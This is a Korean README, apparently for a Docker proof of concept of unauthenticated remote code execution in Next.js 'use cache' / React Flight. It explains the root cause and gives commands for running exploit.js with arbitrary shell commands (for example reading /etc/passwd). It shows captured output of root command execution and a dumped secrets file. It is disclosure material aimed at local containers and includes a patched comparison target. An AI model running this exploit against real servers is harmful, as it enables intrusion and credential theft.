
GHSA-673q-mjm6-r5xr에 대한 Docker 기반 개념 증명: 단일 비인증 요청으로 Next.js use cache / React Flight에서 RCE가 달성되며, 비교를 위한 패치된 희생 대상이 포함되어 있습니다.
use cache / React Flight)타입 배열을 반환하는
use cache함수에서의 비인증 원격 코드 실행 Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 심각 · CWE-502 (신뢰할 수 없는 데이터의 역직렬화) 업스트림 근본 원인: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1). Next.js 16.4.1에서 수정됨.
완전히 동작하는, Docker화된 원격 개념 증명(PoC): 네트워크 공격자가 단 하나의
비인증 HTTP 요청을 보내 피해자 컨테이너 내부에서 root 권한으로 임의의 명령을 실행합니다. 동일한 소스로 빌드된 패치된 피해자는 면역입니다.
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
This is a self-contained reproduction of the exact React Server Components Flight transport that
Next.js vendors (react-server-dom-webpack), pinned to the vulnerable (19.2.8) and patched
(19.2.9) versions. See CASE-STUDY.md for the full root-cause analysis.
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
또는 단계별로:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
요구 사항: Docker + Docker Compose. 런타임에는 인터넷 접근이 필요하지 않습니다(고정된 npm 패키지를 가져오기 위한 빌드 시에만 필요).
취약한 희생자([email protected])를 대상으로:
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
패치된 피해자([email protected])에 대해서는 동일한 요청이 무해한 프로필 카드로 디코딩됩니다. 공격자의 바이트는 displayName 문자열 안에 머물러 있으며 결코 프로토콜 명령이 되지 않습니다:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
피해자는 Next.js 스타일의 use cache 함수로 사용자 "프로필 카드"를 캐시합니다. 캐시된 값은 동일한 ArrayBuffer에 대한 뷰인 두 개의 타입 배열(하나의 디코딩된 이미지에서 잘라낸 avatar와 thumbnail — 매우 흔한 "한 번 디코딩하고 영역을 잘라내기" 패턴) 과 공격자가 제어하는 문자열(요청에서 가져온 표시 이름)을 함께 묶습니다:
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
React의 Flight 인코더가 첫 번째 대형 타입 배열을 바이트 ReadableStream으로 스트리밍할 때, 공유된 ArrayBuffer가 **분리(detach)**됩니다(WHATWG Streams 전송 시맨틱). 두 번째 뷰의 byteLength는 청크 헤더가 이미 원래 길이를 선언한 이후에 조용히 0이 됩니다. 그런 다음 디코더가 과다 읽기를 수행하여 스트림 프레이밍을 삼키고, 공격자의 displayName 바이트가 원시 Flight 프로토콜 행으로 파싱되도록 하여 공격자가 선택한 Server Reference를 주입합니다. React는 캐시 읽기 중에 이를 호출합니다 → RCE. 전체 분석은 CASE-STUDY.md에서 확인할 수 있습니다.
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
poc 클라이언트는 플래그 기반으로 동작합니다. 전체 매뉴얼은 다음을 참조하십시오:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
예시:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Next.js를 ≥ 16.4.1로 업그레이드하십시오(수정된 React Flight 런타임이 포함되어 있음). react-server-dom-webpack / -turbopack / -parcel에 직접 의존하는 경우 19.2.9, 19.1.10, 19.0.9, 또는 19.3.1로 업그레이드하십시오. 영향을 받는 use cache 함수에 대해서는 애플리케이션 수준의 우회 방법이 없으며 업그레이드가 유일한 해결책입니다.
이 PoC는 자신이 빌드하는 두 개의 일회용 컨테이너만을 대상으로 합니다. 소유하고 있거나 명시적으로 테스트 권한을 부여받은 시스템에 대해서만 사용하십시오.